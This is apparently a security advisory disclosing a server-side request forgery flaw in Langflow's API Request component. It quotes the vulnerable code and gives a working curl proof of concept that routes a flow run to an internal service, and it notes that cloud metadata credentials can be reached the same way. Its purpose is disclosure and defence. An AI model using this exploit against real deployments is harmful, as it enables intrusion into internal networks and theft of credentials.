Langflow vulnerable to Server-Side Request Forgery

Vulnerability Overview

Langflow provides an API Request component that can issue arbitrary HTTP requests within a flow. This component takes a user-supplied URL, performs only normalization and basic format checks, and then sends the request using a server-side httpx client. It does not block private IP ranges (127.0.0.1, the 10/172/192 ranges) or cloud metadata endpoints (169.254.169.254), and it returns the response body as the result.

Because the flow execution endpoints (/api/v1/run, /api/v1/run/advanced) can be invoked with just an API key, if an attacker can control the API Request URL in a flow, non-blind SSRF is possible—accessing internal resources from the server’s network context. This enables requests to, and collection of responses from, internal administrative endpoints, metadata services, and internal databases/services, leading to information disclosure and providing a foothold for further attacks.

Vulnerable Code

1. When a flow runs, the API Request URL is set via user input or tweaks, or it falls back to the value stored in the node UI.

   https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/backend/base/langflow/api/v1/endpoints.py#L349-L359

   python

   @router.post("/run/{flow_id_or_name}", response_model=None, response_model_exclude_none=True)
   async def simplified_run_flow(
       *,
       background_tasks: BackgroundTasks,
       flow: Annotated[FlowRead | None, Depends(get_flow_by_id_or_endpoint_name)],
       input_request: SimplifiedAPIRequest | None = None,
       stream: bool = False,
       api_key_user: Annotated[UserRead, Depends(api_key_security)],
       context: dict | None = None,
       http_request: Request,
   ):

   https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/backend/base/langflow/api/v1/endpoints.py#L573-L588

   bash

   @router.post(
       "/run/advanced/{flow_id_or_name}",
       response_model=RunResponse,
       response_model_exclude_none=True,
   )
   async def experimental_run_flow(
       *,
       session: DbSession,
       flow: Annotated[Flow, Depends(get_flow_by_id_or_endpoint_name)],
       inputs: list[InputValueRequest] | None = None,
       outputs: list[str] | None = None,
       tweaks: Annotated[Tweaks | None, Body(embed=True)] = None,
       stream: Annotated[bool, Body(embed=True)] = False,
       session_id: Annotated[None | str, Body(embed=True)] = None,
       api_key_user: Annotated[UserRead, Depends(api_key_security)],
   ) -> RunResponse:

2. Normalization/validation stage: It only checks that the URL is non-empty and well-formed. No blocking of private networks, localhost, or IMDS.

   https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L280-L289

   python

       def _normalize_url(self, url: str) -> str:
           """Normalize URL by adding https:// if no protocol is specified."""
           if not url or not isinstance(url, str):
               msg = "URL cannot be empty"
               raise ValueError(msg)
   
           url = url.strip()
           if url.startswith(("http://", "https://")):
               return url
           return f"https://{url}"

   https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L433-L438

   python

           url = self._normalize_url(url)
   
           # Validate URL
           if not validators.url(url):
               msg = f"Invalid URL provided: {url}"
               raise ValueError(msg)

3. On the server side, it sends a request to an arbitrary URL using httpx.AsyncClient and exposes the response body as metadata["result"].

   https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L312-L322

   python

           try:
               # Prepare request parameters
               request_params = {
                   "method": method,
                   "url": url,
                   "headers": headers,
                   "json": processed_body,
                   "timeout": timeout,
                   "follow_redirects": follow_redirects,
               }
               response = await client.request(**request_params)

   https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L335-L340

   python

               # Base metadata
               metadata = {
                   "source": url,
                   "status_code": response.status_code,
                   "response_headers": response_headers,
               }

   https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L364-L379

   python

               # Handle response content
               if is_binary:
                   result = response.content
               else:
                   try:
                       result = response.json()
                   except json.JSONDecodeError:
                       self.log("Failed to decode JSON response")
                       result = response.text.encode("utf-8")
   
               metadata["result"] = result
   
               if include_httpx_metadata:
                   metadata.update({"headers": headers})
   
               return Data(data=metadata)

PoC

PoC Description

• I launched a Langflow server using the latest langflowai/langflow:latest Docker container, and a separate container internal-api that exposes an internal-only endpoint /internal on port 8000. Both containers were attached to the same user-defined network (ssrf-net), allowing communication by name or via the IP 172.18.0.3.
• I added an API Request node to a Langflow flow and set the URL to the internal service (http://172.18.0.3:8000/internal). Then I invoked /api/v1/run/advanced/<FLOW_ID> with an API key to perform SSRF. The response returned the internal service’s body in the result field, confirming non-blind SSRF.

PoC

• Langflow Setting

  <img width="1917" height="940" alt="image" src="https://github.com/user-attachments/assets/96b0d770-b260-440f-9205-1583c108e12f" />

• Exploit

  bash

  curl -s -X POST 'http://localhost:7860/api/v1/run/advanced/0b7f7713-d88c-4f92-bcf8-0dafe250ea9d' \
    -H 'Content-Type: application/json' \
    -H 'x-api-key: sk-HHc93OjH_4ep_EhfWrweP1IwpooJ3ZZnYOu-HgqJV4M' \
    --data-raw '{
      "inputs":[{"components":[],"input_value":""}],
      "outputs":["Chat Output"],
      "tweaks":{"API Request":{"url_input":"http://172.18.0.3:8000/internal","include_httpx_metadata":false}},
      "stream":false
    }' | jq -r '.outputs[0].outputs[0].results.message.text | sub("^```json\\n";"") | sub("\\n```$";"") | fromjson | .result'

  <img width="1918" height="1029" alt="image" src="https://github.com/user-attachments/assets/4883029f-bd56-4c23-b5a3-6f8a84dbcce1" />

Impact

• Scanning internal assets and data exfiltration: Attackers can access internal administrative HTTP endpoints, proxies, metrics dashboards, and management consoles to obtain sensitive information (versions, tokens, configurations).
• Access to metadata services: In cloud environments, attackers can use 169.254.169.254, etc., to steal instance metadata and credentials.
• Foothold for attacking internal services: Can forge requests by abusing inter-service trust and become the starting point of an SSRF→RCE chain (e.g., invoking an internal admin API).
• Non-blind: Because the response body is returned to the client, attackers can immediately view and exploit the collected data.
• Risk in multi-tenant environments: Bypassing tenant boundaries can cause cross-leakage of internal network information, resulting in high impact. Even in single-tenant setups, the risk remains high depending on internal network policies.